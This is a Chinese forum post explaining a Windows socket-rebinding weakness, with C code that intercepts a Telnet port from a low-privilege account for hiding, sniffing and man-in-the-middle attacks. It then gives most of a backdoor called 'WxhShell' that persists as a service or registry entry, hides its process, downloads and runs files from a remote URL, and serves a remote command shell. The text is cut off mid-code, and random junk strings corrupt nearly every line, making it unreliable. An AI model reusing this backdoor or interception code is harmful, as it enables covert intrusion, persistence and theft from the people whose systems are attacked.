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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jbrx)9Z+%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1uz7E  
&v}c3wL]  
  saddr.sin_family = AF_INET; q2>dPI;3T  
( q8uB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qC|$0  
q,ur[ &<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JIJ79HB  
P`ZYm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;~nz%L J  
svT1b'=\$I  
  这意味着什么?意味着可以进行如下的攻击: Gh.@l\|tf  
7|vB\[s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;`CNe$y   
T1Gy_ G/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;Nfd  
fG{ 9doUD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d]bM,`K* 6  
H6fR6Kr4j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XMJEIG  
sD_"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 OsSGVk #Qh  
gJkvH[hDY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X.YMb .\<  
L~Hgf/%5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kuEB  
ZA;VA=)\8  
  #include W'0(0;+G/j  
  #include 8r|5l~`8  
  #include Z{#;my*X|  
  #include    B%~D`[~?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \@%sX24D  
  int main() ~-dL #;  
  { sPKyg  
  WORD wVersionRequested; moe5H  
  DWORD ret; N3C 8%  
  WSADATA wsaData; "M`ehgCBr  
  BOOL val; 0SJ7QRo|K  
  SOCKADDR_IN saddr; CHZjK(a  
  SOCKADDR_IN scaddr; ;Xzay|  
  int err;  oJ<Wh @  
  SOCKET s; fD>0  
  SOCKET sc; _mi(:s(  
  int caddsize; Xfq]vQ/{  
  HANDLE mt; ]n/fB|tE  
  DWORD tid;   l>H G|ol  
  wVersionRequested = MAKEWORD( 2, 2 ); 4t Z. T9d  
  err = WSAStartup( wVersionRequested, &wsaData ); Wd0$t    
  if ( err != 0 ) { #!h +K"wX  
  printf("error!WSAStartup failed!\n"); Y64B"J=P 9  
  return -1; x?|C-v  
  } c[a1 Md&  
  saddr.sin_family = AF_INET; tOu:j [  
   r]0UF0#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [u=DAk?8  
@C}Hx;f6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rwRb _eIj  
  saddr.sin_port = htons(23); 5[1#d\QR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0xNlO9b/  
  { 'yq'J)  
  printf("error!socket failed!\n"); I,0]> kx  
  return -1; &R'%OFi  
  } O8J:Tw}M*  
  val = TRUE; 1.5lJ:[G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Rlq6I?S+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N]p|c3D  
  { <;?&<qMo,P  
  printf("error!setsockopt failed!\n"); aD5G0d?u  
  return -1; N%2UL&w#B  
  } H=7z d|W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o`@B*, @  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JW5SBt>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w|1Gb[  
ElEa*70~g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hVfiF  
  { v{H3DgyG  
  ret=GetLastError(); e$wbYByW  
  printf("error!bind failed!\n"); .)wj{(>TJ  
  return -1; /)ubyl]^p  
  } $B iG7,[#  
  listen(s,2); rLzYkZ  
  while(1) )~](qLSl  
  { ^1%gQ@P  
  caddsize = sizeof(scaddr); M?UlC   
  //接受连接请求 OoFQ@zE7%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c0H8FF3  
  if(sc!=INVALID_SOCKET) ~'4:{xH  
  { >:ZlYZ6sI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GC3:ZpV`  
  if(mt==NULL) kt";Jx  
  { I:~L!%  
  printf("Thread Creat Failed!\n"); z"eh.&T  
  break; ?gSk%]S/!  
  } biFN]D  
  } GM/3*S$c  
  CloseHandle(mt); N".-]bB  
  } V zx%N.  
  closesocket(s); ]Mh7;&<6[  
  WSACleanup(); KAg<s}gQJ  
  return 0; )-3!-1  
  }   1m/=MET]  
  DWORD WINAPI ClientThread(LPVOID lpParam) by {G{M`X  
  { ,{C(<1  
  SOCKET ss = (SOCKET)lpParam; GXEOgf#i  
  SOCKET sc; /WDz;,X  
  unsigned char buf[4096]; cZRLYOC  
  SOCKADDR_IN saddr; r: _- Cj  
  long num; RRD\V3C84  
  DWORD val; ^"w.v' sL  
  DWORD ret; ;z9(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 NVnKgGlHgd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /HNZwbh]uJ  
  saddr.sin_family = AF_INET; "9[K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >4d2IO1\  
  saddr.sin_port = htons(23); MwxfTH"wi  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z]k=sk  
  { ,EgIH%* g  
  printf("error!socket failed!\n"); {-rK:*yP'u  
  return -1; -=E/_c;  
  } yG0Wr=/<?  
  val = 100; mI=^7 'Mk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zq|oj^  
  { yaf&SR@7k{  
  ret = GetLastError(); @1 #$  
  return -1; vf@d (g  
  } sz.(_{5!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) blZiz2F  
  { (n-8p6x(  
  ret = GetLastError(); IbpE@C  
  return -1; N(?yOB4gt  
  } tR5zlm(}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TJ9,c2d+  
  { _%s_w)  
  printf("error!socket connect failed!\n"); B{ NKDkDH  
  closesocket(sc); FhB^E$r%  
  closesocket(ss); Vgs( feGs  
  return -1; JF*JF Ob  
  } +w/Ax[K  
  while(1) Ep}KIBBO  
  { |}*k|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /UjRuUC]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 NQ<~$+{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I}Z[F,}*J  
  num = recv(ss,buf,4096,0); -A9 !Y{Z  
  if(num>0) Y#PbC  
  send(sc,buf,num,0); ,{c9Lv%@J  
  else if(num==0) p5C sw5  
  break; ^(8 i` `V  
  num = recv(sc,buf,4096,0); &86km FA  
  if(num>0) !^ 6x64r  
  send(ss,buf,num,0); L{~L6:6An  
  else if(num==0) QEM")(  
  break; 9AJ!7J#v"  
  } gFJ& t^yL  
  closesocket(ss); <Ebkb3_  
  closesocket(sc); hQBeM7$F_  
  return 0 ; 0$,Ag;"^?  
  }  Be2@9  
Ms(;B*  
kq:,}fc;B  
========================================================== 8Es]WR5 ^  
b]s=Uv#)  
下边附上一个代码,,WXhSHELL TE*$NxQ 2  
0+8ThZ?n  
========================================================== bF' ~&<c  
76)(G/  
#include "stdafx.h" j:|60hDz^  
d\, 4Wet;#  
#include <stdio.h> UL[4sv6\9  
#include <string.h> ##u+[ !  
#include <windows.h> xP'IyABx  
#include <winsock2.h> 7F`QN18>(  
#include <winsvc.h> 7& k lX  
#include <urlmon.h> )+ Wr- Yay  
 b6S86>  
#pragma comment (lib, "Ws2_32.lib") %kJ:{J+w]  
#pragma comment (lib, "urlmon.lib") CBSJY&:K  
!{s $V2_  
#define MAX_USER   100 // 最大客户端连接数 _dsd{&  
#define BUF_SOCK   200 // sock buffer @V] Wm1g  
#define KEY_BUFF   255 // 输入 buffer +M@G 8l  
(eJr-xZ/  
#define REBOOT     0   // 重启 $t 1]w]}d  
#define SHUTDOWN   1   // 关机 dqUhp_f2qK  
F4 Ft~:a  
#define DEF_PORT   5000 // 监听端口 U3lr<(r*  
V{Idj\~Jh  
#define REG_LEN     16   // 注册表键长度 KN~E9oGs  
#define SVC_LEN     80   // NT服务名长度 X >%2\S  
]qXHalHY  
// 从dll定义API FTCp3g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )gR14a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lj(hk @  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =Mn! [  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uh#PZ xnP  
P>pkLP} Vo  
// wxhshell配置信息 NfR,m ]  
struct WSCFG { 8+gx?pb  
  int ws_port;         // 监听端口 v.6" <nT2  
  char ws_passstr[REG_LEN]; // 口令 =]xNpX)  
  int ws_autoins;       // 安装标记, 1=yes 0=no .1I];Cy0D  
  char ws_regname[REG_LEN]; // 注册表键名 :`3b|u=KZ  
  char ws_svcname[REG_LEN]; // 服务名 }jiqUBn%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ADv a@P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lbg6n:@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7@EYF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cw"x0 RS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _gC<%6#V`r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EemKYcE@Nr  
%/etoK  
}; _5 tw1 >  
w,3`Xq@  
// default Wxhshell configuration -#gb {vj  
struct WSCFG wscfg={DEF_PORT, ZFW}Vnl  
    "xuhuanlingzhe", >w j7Y`  
    1, jI;bVG  
    "Wxhshell", O|y-nAZgU  
    "Wxhshell", tO[+O=d  
            "WxhShell Service", FN,0&D}`  
    "Wrsky Windows CmdShell Service", 0A?w,A`"  
    "Please Input Your Password: ", s7xRry  
  1, ~g|e?$j  
  "http://www.wrsky.com/wxhshell.exe", h%=b"x  
  "Wxhshell.exe" xA!o"VZPq7  
    }; $Q{1^  
`t!iknOQ$  
// 消息定义模块 aGpRdF1;!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zo} SS[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4#2iL+   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~BS*x+M  
char *msg_ws_ext="\n\rExit."; ~iwEhF   
char *msg_ws_end="\n\rQuit."; 87<y_P@{  
char *msg_ws_boot="\n\rReboot..."; o4~ft!>  
char *msg_ws_poff="\n\rShutdown..."; xo@N~  
char *msg_ws_down="\n\rSave to "; Ac7`nvI=  
"E''ZBLO~  
char *msg_ws_err="\n\rErr!"; 6{7O  
char *msg_ws_ok="\n\rOK!"; XIjSwR kYJ  
3:Z(tM&-O  
char ExeFile[MAX_PATH]; m]"YR_  
int nUser = 0; @bqCs^U35  
HANDLE handles[MAX_USER]; ?sS'T7r v  
int OsIsNt; p*npY"}v  
YSa:"A  
SERVICE_STATUS       serviceStatus; "BFW&<1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '|XP}V0I  
e/Q[%y.X  
// 函数声明 $}KYpSV  
int Install(void); @{CpC  
int Uninstall(void); :>3&"T.  
int DownloadFile(char *sURL, SOCKET wsh); U1q$B32  
int Boot(int flag); +:'Po.{"  
void HideProc(void); zi-+@9T  
int GetOsVer(void); TS[Z<m  
int Wxhshell(SOCKET wsl); ~!&[;EM<bm  
void TalkWithClient(void *cs); A+F-r_]}db  
int CmdShell(SOCKET sock); yPQ{tS*t  
int StartFromService(void); (B$FX<K3  
int StartWxhshell(LPSTR lpCmdLine); *e>:K$r  
e0$mu?wd-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w x,;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1|. 0]~0  
r?X^*o9  
// 数据结构和表定义 .<NXk"\!y  
SERVICE_TABLE_ENTRY DispatchTable[] = qFs<s<]  
{ =~0XdS/1  
{wscfg.ws_svcname, NTServiceMain}, YD+C1*c!  
{NULL, NULL} YKx0Zs  
}; [ThzLk#m  
bs`/k&'  
// 自我安装 .86..1  
int Install(void) A.h?#%TLL  
{ @B^'W'&C  
  char svExeFile[MAX_PATH]; ]yIy~V  
  HKEY key; wlpbfO e/  
  strcpy(svExeFile,ExeFile); n9J>yud|  
[KE4wz+s{  
// 如果是win9x系统,修改注册表设为自启动 BuvBSLC~  
if(!OsIsNt) { <bjy<98LT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .N'UnKz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q` s(T  
  RegCloseKey(key); ttKfZ0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [`b{eLCFX]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lLDHx3+  
  RegCloseKey(key); iIF'!K=q  
  return 0; .XE]vo  
    } ?#[K&$}  
  } b gD Dys  
} 3AL.UBj&}  
else { $I/p6  
ueg X  
// 如果是NT以上系统,安装为系统服务 iB,*X[}EqG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U^YPL,m1  
if (schSCManager!=0) 5 O6MI4:  
{ 5;Z~+$1  
  SC_HANDLE schService = CreateService ""a8eB 6  
  ( co@8w!W  
  schSCManager, lz*2wGI9  
  wscfg.ws_svcname, @t^ 2/H ?O  
  wscfg.ws_svcdisp, <|_Ey)1 6  
  SERVICE_ALL_ACCESS, JQ1VCG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?yU#'`q  
  SERVICE_AUTO_START, a;zcAeX  
  SERVICE_ERROR_NORMAL, avz 4 &  
  svExeFile, Iymz2  
  NULL, Tc*PDt0C  
  NULL, <f*0 XJ#  
  NULL, qXF"1f_+  
  NULL, :ox CF0Y  
  NULL lt4UNJ3w  
  ); Xm-63U`w5  
  if (schService!=0) BY d3rI  
  { ={Hbx> p  
  CloseServiceHandle(schService); Sce9R?II  
  CloseServiceHandle(schSCManager); Zk[#B UA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5jLDe~  
  strcat(svExeFile,wscfg.ws_svcname); t(yv   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #n7{ 3)   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \[&]kPcDl  
  RegCloseKey(key); ')aYkO{%sb  
  return 0; X<{m;T `  
    } Uoe?5Of(*  
  } A^7!+1*K+  
  CloseServiceHandle(schSCManager); QHh#O+by#  
} AK!G#ug  
} UGMdWq  
0#7 dm9  
return 1; o (zg_!P  
} L}mhMxOTi  
x9e 9$ww}  
// 自我卸载 vKC>t95  
int Uninstall(void) d0^2<  
{ +x2xQ8#|~~  
  HKEY key; Txh;r.1e  
jZ;T&s  
if(!OsIsNt) { t]ZSo-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rij[ZrJ  
  RegDeleteValue(key,wscfg.ws_regname); 4Uiqi{}  
  RegCloseKey(key); ZZ(@:F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 24Fxx9 g  
  RegDeleteValue(key,wscfg.ws_regname); *8p</Q  
  RegCloseKey(key); 'FhnSNT(4=  
  return 0; bsm,lx]bH^  
  } qrkT7f  
} a? kQ2<@g  
} uz#9w\="  
else { j$^]WRt  
5ZVTI,4K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K0\WN"ua;  
if (schSCManager!=0) &g!/@*[Nhh  
{ :]s] =q&]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M@\'Y$)Y{  
  if (schService!=0) ]@>|y2  
  { OOCeZ3yF(  
  if(DeleteService(schService)!=0) { kWd'gftQ  
  CloseServiceHandle(schService); DbN'b(+  
  CloseServiceHandle(schSCManager); Q  [{vU  
  return 0; F*4+7$E0B  
  } 1|VJND  
  CloseServiceHandle(schService); NP8TF*5V  
  } `{Jb{L@f  
  CloseServiceHandle(schSCManager); 0FOf *Lz  
} ?MH4<7?"  
} ) YFs  
1%,Z&@^j  
return 1; l_ c?q"X  
} lu_Gr=#O  
5o/rV.I  
// 从指定url下载文件 Jy_'(hG  
int DownloadFile(char *sURL, SOCKET wsh) m"R(_E5  
{ g8Z14'Ke  
  HRESULT hr; Eg*3**gTO  
char seps[]= "/"; Z-@}~#E  
char *token; !UTJ) &  
char *file; >$DqG$D  
char myURL[MAX_PATH]; `cpcO  
char myFILE[MAX_PATH]; ZAZCvN@5  
+$t%L  
strcpy(myURL,sURL); V1.F`3h~  
  token=strtok(myURL,seps); )a\h5nQI)  
  while(token!=NULL) +b+sQ<w?.  
  {  D;]%  
    file=token; 7&4,',0VL  
  token=strtok(NULL,seps); .KN]a"]  
  } :!$z1u8R  
">3@<f>  
GetCurrentDirectory(MAX_PATH,myFILE); ,X^_w g  
strcat(myFILE, "\\"); Zi)b<tM q  
strcat(myFILE, file); a"}#HvB+  
  send(wsh,myFILE,strlen(myFILE),0); AX+d?M  
send(wsh,"...",3,0); ''uI+>Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p/h&_^EXU  
  if(hr==S_OK) ~-d.3A $u  
return 0; i1\2lh$  
else BvF_9  
return 1; #=(op?]  
Ef.4.iDJrR  
} fXe-U='  
+`8)U3u0  
// 系统电源模块 "N]o5d   
int Boot(int flag) wVDB?gy%#  
{ $8k_M   
  HANDLE hToken; keskD  
  TOKEN_PRIVILEGES tkp; NrcCUZ .:N  
LltguNM$  
  if(OsIsNt) { pm\X*t}L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }eM<A$J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); moR2iyO_  
    tkp.PrivilegeCount = 1; :N*T2mP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =joXP$n^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j_@3a)[NY  
if(flag==REBOOT) { Cw $^w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'qAfei']  
  return 0; 1i:g /H  
} p^P y,  
else { OPW"AB J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,<b|@1\k  
  return 0; _~Vz+nT  
} CDj Dhs  
  } e"#D){k#  
  else { 4Z9wzQ>  
if(flag==REBOOT) { ~+C?][T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y,btL'[W  
  return 0; f<Tz#w&6W  
} a +yI2s4Z  
else { !m(L0YH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I^(#\vRW  
  return 0; Aq%^>YAp  
} JyC&L6[]Z  
} ?3TV:fx"X  
*Ne&SXg  
return 1; c8tC3CrKp=  
} [P=[hj;  
h6y4Ii  
// win9x进程隐藏模块 8zDH<Gb  
void HideProc(void) J+jmSK%z  
{ Cfo 8gX*  
e=sJMzm~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F*t_lN5{  
  if ( hKernel != NULL ) Xj~EVD  
  { 3DC%I79  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qk.Q9@3W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); puN=OX}C  
    FreeLibrary(hKernel); f&|A[i>g  
  } QhQ"OVFr#  
8`2<g0V2  
return; ,G|aLBn  
} 5;8B!%b  
\K~fRUo]=c  
// 获取操作系统版本 1]Q 2qs  
int GetOsVer(void) #0hNk%X=  
{ "%''k~UD 4  
  OSVERSIONINFO winfo; dyiEK)$h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "C.7;Rvkp>  
  GetVersionEx(&winfo); [Am`5&J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |( 9#vt#  
  return 1; )S};k=kG  
  else jS3(>  
  return 0; tQ/ #t<4D  
} HJaw\zbL  
kEhm'  
// 客户端句柄模块 ct4 [b|  
int Wxhshell(SOCKET wsl) E? eWv)//  
{ }?]yxa~  
  SOCKET wsh; [~c'|E8Q  
  struct sockaddr_in client; <o!&Kk9  
  DWORD myID; _b_?9b-)D  
rp @  
  while(nUser<MAX_USER) RF~Ofi  
{ ^qGA!_  
  int nSize=sizeof(client); {&=qM!2e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M&/aJRBS  
  if(wsh==INVALID_SOCKET) return 1; Fiu!!M6  
;=+Zw1/g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,ah*!Zm.kk  
if(handles[nUser]==0) fA_%8CjI  
  closesocket(wsh); =Y/fF  
else pq[X)]z|  
  nUser++; W .`Xm(y  
  } M ?xpwqu\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PN"8 Y  
.6ngo0<g   
  return 0; H >:4MY  
} a=*ALd_&0  
MuoctW  
// 关闭 socket ;=-j;x  
void CloseIt(SOCKET wsh) 6L,lq;  
{ R'I_xjC  
closesocket(wsh); Z@,PZ   
nUser--; WVWS7N\  
ExitThread(0); n(1wdlEp  
} 3p3WDL7  
{[,Wn:  
// 客户端请求句柄 zn V1kqGU  
void TalkWithClient(void *cs) )nNCB=YF!  
{ 'ZC}9=_g  
B3 dA%\'  
  SOCKET wsh=(SOCKET)cs; [ .j]V-61  
  char pwd[SVC_LEN]; #PslrA. E  
  char cmd[KEY_BUFF]; f(6UL31  
char chr[1]; t1w2u.]  
int i,j; UOWIiu  
Ln=>@  
  while (nUser < MAX_USER) { x*h`VS(?6  
d]CviQUq  
if(wscfg.ws_passstr) { 97Zk P=Cq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wm)-zvNY;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z>x7|Q3CX  
  //ZeroMemory(pwd,KEY_BUFF); m0|Ae@g~3  
      i=0; Zj1ZU[BEcL  
  while(i<SVC_LEN) { J3~hzgY  
,](v?v.[4  
  // 设置超时 Jh$"fr3  
  fd_set FdRead; F)/~p&H  
  struct timeval TimeOut; \f/#<|Hm  
  FD_ZERO(&FdRead); U=F-] lD  
  FD_SET(wsh,&FdRead); 4|6&59?pnc  
  TimeOut.tv_sec=8; tE]5@b,R  
  TimeOut.tv_usec=0; uNe}"hs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qDRNtFa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \D,M2vC~G  
=R&)hlm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }dX/Y /  
  pwd=chr[0]; (_w %  
  if(chr[0]==0xd || chr[0]==0xa) { 4ZI!,lv*  
  pwd=0; tw'hh@7-Y  
  break; ?7yQ&p  
  } jby~AJf %  
  i++; /M^V 2=  
    } 'Aj(i/CM  
s(AJkO'`  
  // 如果是非法用户,关闭 socket -BA"3 S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~$4]HDg  
} -`!_h[   
B2~f;zy`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h; 'W :P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F0&~ ?2nG  
)L |tn  
while(1) { bZ>&QM  
YH[XRUa  
  ZeroMemory(cmd,KEY_BUFF); {*QvC g?  
T?X^0UdJj  
      // 自动支持客户端 telnet标准   $%g\YdC  
  j=0; %K h2E2Pe  
  while(j<KEY_BUFF) { A\".t=+7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v"u7~Dw# 1  
  cmd[j]=chr[0]; 5v|H<wPp  
  if(chr[0]==0xa || chr[0]==0xd) { })20Zld}a  
  cmd[j]=0;  3L%WVCB  
  break; ,IIZ Xl@  
  } i8Fs0U4"  
  j++; <ROpuY\!l  
    } hZAG (Z  
f49"pTw7  
  // 下载文件 `$S^E !=  
  if(strstr(cmd,"http://")) { +D :83h{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); > P<z |8  
  if(DownloadFile(cmd,wsh)) jg[5UTkcs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P*pbwV#|  
  else r\(v+cd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aS,a_b]  
  } CI,lkO|C  
  else { K`hz t  
u_N\iCYp  
    switch(cmd[0]) { $ !v}xY  
  %_R$K#T^,  
  // 帮助 *(k%MTG  
  case '?': { i"L }!5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QU:EY'2  
    break; pT4qPta,2  
  } Ptx,2e&Hq  
  // 安装 1g1?zk8zO  
  case 'i': { 4P|$LkI  
    if(Install()) G%a] j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X Vw-G }5  
    else pd d|n2q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Gsw-a;a  
    break; !:(C"}5wM  
    } np\st7&f6  
  // 卸载 dCE\^q[{  
  case 'r': { bA}Z0a  
    if(Uninstall()) rO0ZtC{K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'WK;$XQ  
    else Bc@30KiQ ^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); re; Lg C  
    break; cTM$ZNin  
    } 7_DG 5nT  
  // 显示 wxhshell 所在路径 D!oZ?dGCo6  
  case 'p': { +UzXN$73  
    char svExeFile[MAX_PATH]; aD2*.ln><  
    strcpy(svExeFile,"\n\r"); a mqOxb  
      strcat(svExeFile,ExeFile); 4otl_l(`yv  
        send(wsh,svExeFile,strlen(svExeFile),0); *C\(wL  
    break; pprejUR  
    } 20aZI2sk`  
  // 重启 Y]N~vD  
  case 'b': { tQrS3Hz'nA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YZ+>\ x  
    if(Boot(REBOOT)) V JDoH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |8H_-n  
    else { Bz+.Qa+  
    closesocket(wsh); q +R*Hi  
    ExitThread(0); 7rcA[)<'  
    } -/>9c-F  
    break; FEF"\O|Q  
    } ?q _^Rj$  
  // 关机 S ZlC4=6c  
